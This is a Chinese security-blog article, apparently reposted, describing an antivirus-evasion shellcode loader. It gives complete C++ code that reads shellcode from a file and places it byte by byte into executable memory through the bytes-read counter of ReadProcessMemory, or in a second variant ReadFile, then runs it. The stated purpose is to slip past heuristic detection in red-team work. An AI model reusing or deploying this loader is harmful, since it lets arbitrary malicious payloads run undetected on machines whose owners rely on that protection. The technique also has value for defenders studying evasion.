《杀软对抗》利用Read相关函数实现ShellcodeLoader

admin 2025-12-22 04:42:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章介绍了一种利用Read相关函数实现ShellcodeLoader的技术,通过ReadProcessMemory和ReadFile函数的lpNumberOfBytesRead参数特性,将shellcode间接写入可执行内存中,避免了直接使用Write函数可能触发的杀毒软件启发式检测。作者提供了C++代码实现,包括读取shellcode文件、分配内存、利用ReadProcessMemory逐字节写入shellcode,并最终执行shellcode的过程。这种技术可以用于红队攻击中的杀软对抗场景。 综合评分: 89 文章分类: 免杀,漏洞分析,红队,安全开发,二进制安全


cover_image

《杀软对抗》利用Read相关函数实现Shellcode Loader

Polaris安全团队

2025年12月13日 19:10 广西

编者荐语:

我爱吃香菜~

以下文章来源于零攻防 ,作者生吃香菜

零攻防 .

哟,我等你等到花都谢了!

利用Read代替Write将内容写入指定位置。这是非常巧妙的一个构思。

但是可能有些人觉得,看完文章之后,为什么我不直接将内容读到我的RWX内存中,如果你也有这个疑惑,那么就按照你的想法直接将内容直接读取到可执行内存即可!!!

《你杠就是你对》

unsetunset思路unsetunset

当然这个过程大家会非常的疑惑,为什么读可以代替写?这个作者提供的是rust的代码。大家可以参考一下,下面我将自己的理解与实现的过程以C++的形式展现给大家!!!

参考连接:https://github.com/mimorep/Indirect-Shellcode-Executor/blob/main/src/main.rs

unsetunset开搞unsetunset

这一切源于ReadProcessMemory中的参数

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

这里我们注意到:SIZE_T* lpNumberOfBytesRead,这个参数如果正常使用的情况下,会得到正常读入了多少个字节,会以SIZE_T的类型存放。

利用c++实现这个功能

#include&nbsp;<Windows.h>
#include&nbsp;<shlwapi.h>
#include&nbsp;<iostream>
#pragma&nbsp;comment(lib, "shlwapi.lib")

int&nbsp;main()
{
&nbsp; &nbsp; CHAR path[MAX_PATH];
&nbsp; &nbsp; GetModuleFileNameA(NULL, path, MAX_PATH);
&nbsp; &nbsp; PathRemoveFileSpecA(path);
&nbsp; &nbsp; std::string scPath = path + std::string("\\payload.bin");
&nbsp; &nbsp; HANDLE hFile = CreateFileA(scPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
&nbsp; &nbsp;&nbsp;if&nbsp;(hFile == INVALID_HANDLE_VALUE)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;NULL;

&nbsp; &nbsp; DWORD dwSize = GetFileSize(hFile, NULL);
&nbsp; &nbsp; LPVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, dwSize);

&nbsp; &nbsp; DWORD bytesRead = 0;
&nbsp; &nbsp; BOOL bResult = ReadFile(hFile, pBuffer, dwSize, &bytesRead, NULL);
&nbsp; &nbsp; CloseHandle(hFile);

&nbsp; &nbsp; LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
&nbsp; &nbsp; byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

&nbsp; &nbsp; HANDLE hHandle = GetCurrentProcess();
&nbsp; &nbsp; HMODULE hExeModule = GetModuleHandleA(NULL);
&nbsp; &nbsp;&nbsp;for&nbsp;(size_t i = 0; i < dwSize; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; ReadProcessMemory(hHandle, hExeModule, ReadMem, ((byte*)pBuffer)[i], &((SIZE_T*)(shellcode_Addr + i))[0]);
&nbsp; &nbsp; }
&nbsp; &nbsp; ((void(*)())shellcode_Addr)();

&nbsp; &nbsp; system("pause");
}

这份代码中,只用到了读的操作,实现了将shellcode放入到RWX的内存段中执行。我们来详细分析这个读的操作:

&nbsp; &nbsp; LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
&nbsp; &nbsp; byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

&nbsp; &nbsp; HANDLE hHandle = GetCurrentProcess();
&nbsp; &nbsp; HMODULE hExeModule = GetModuleHandleA(NULL);
ReadProcessMemory(hHandle, hExeModule, ReadMem, ((byte*)pBuffer)[i], &((SIZE_T*)(shellcode_Addr + i))[0]);

ReadMem:申请了256的RW内存大小,因为单字节不超过FF。

shellcode_Addr:申请了与shellcode长度的RWX

hHandle:将自身作为读取的对象

hExeModule:这个读取哪里都是无所谓的

按照正常的逻辑,我们使用ReadFile将shellcode读取到内存之后,使用memcopy等操作写到RWX的内存中。这可能会触发启发式的查杀。

所以,原作者使用rust实现了使用ReadProcessMemory函数的特性将shellcode间接性的放入了rwx内存中。减少了写函数的调用。

unsetunset思考拓展unsetunset

既然ReadProcessMemory可以,那ReadFile会不会也可以呢?

BOOL ReadFile(
&nbsp; [in] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;HANDLE &nbsp; &nbsp; &nbsp; hFile,
&nbsp; [out] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LPVOID &nbsp; &nbsp; &nbsp; lpBuffer,
&nbsp; [in] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp;nNumberOfBytesToRead,
&nbsp; [out, optional] &nbsp; &nbsp; LPDWORD &nbsp; &nbsp; &nbsp;lpNumberOfBytesRead,
&nbsp; [in, out, optional] LPOVERLAPPED lpOverlapped
);

利用LPDWORD  lpNumberOfBytesRead,也可以实现这个效果。

&nbsp; &nbsp; CHAR path[MAX_PATH];
&nbsp; &nbsp; GetModuleFileNameA(NULL, path, MAX_PATH);
&nbsp; &nbsp; PathRemoveFileSpecA(path);
&nbsp; &nbsp; std::string scPath = path + std::string("\\payload.bin");
&nbsp; &nbsp; HANDLE hFile = CreateFileA(scPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
&nbsp; &nbsp;&nbsp;if&nbsp;(hFile == INVALID_HANDLE_VALUE)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;NULL;

&nbsp; &nbsp; DWORD dwSize = GetFileSize(hFile, NULL);
&nbsp; &nbsp; LPVOID pBuffer = HeapAlloc(GetProcessHeap(), 0, dwSize);

&nbsp; &nbsp; BOOL bResult = ReadFile(hFile, pBuffer, dwSize, NULL, NULL);

&nbsp; &nbsp; LPVOID ReadMem = VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
&nbsp; &nbsp; byte* shellcode_Addr = (byte*)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

&nbsp; &nbsp;&nbsp;for&nbsp;(size_t i = 0; i < dwSize; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; LARGE_INTEGER offset;
&nbsp; &nbsp; &nbsp; &nbsp; offset.QuadPart = 0;
&nbsp; &nbsp; &nbsp; &nbsp; SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN);
&nbsp; &nbsp; &nbsp; &nbsp; ReadFile(hFile, ReadMem, ((byte*)pBuffer)[i], &((DWORD*)(shellcode_Addr + i))[0], NULL);

&nbsp; &nbsp; }
&nbsp; &nbsp; CloseHandle(hFile);
&nbsp; &nbsp; ((void(*)())shellcode_Addr)();

unsetunset总结unsetunset

这个思路就是利用了read函数的特性,这些函数都有一个特点,就是成功读入的字节数。

虽然SIZE_T和DWORD这两种类型,会根据架构的变化长度变为4或8。但我们需要他按照顺序将shellcode写入。所以将 [0] 作为我们存储的位置。

总体来说就是以下的思路:

shellcode:FC 48 83 E4 F0 E8 C0 …..

读取长度:  FC 48 83 E4 F0 E8 C0 …..

成功读取之后,读取成功的长度就会保存到我们的地址中(FC 48 83 E4 F0 E8 C0),代替写操作并且弹出计算器成功。

存在疑惑欢迎在评论区留言


查看原文:《《杀软对抗》利用Read相关函数实现Shellcode Loader》

评论:0   参与:  3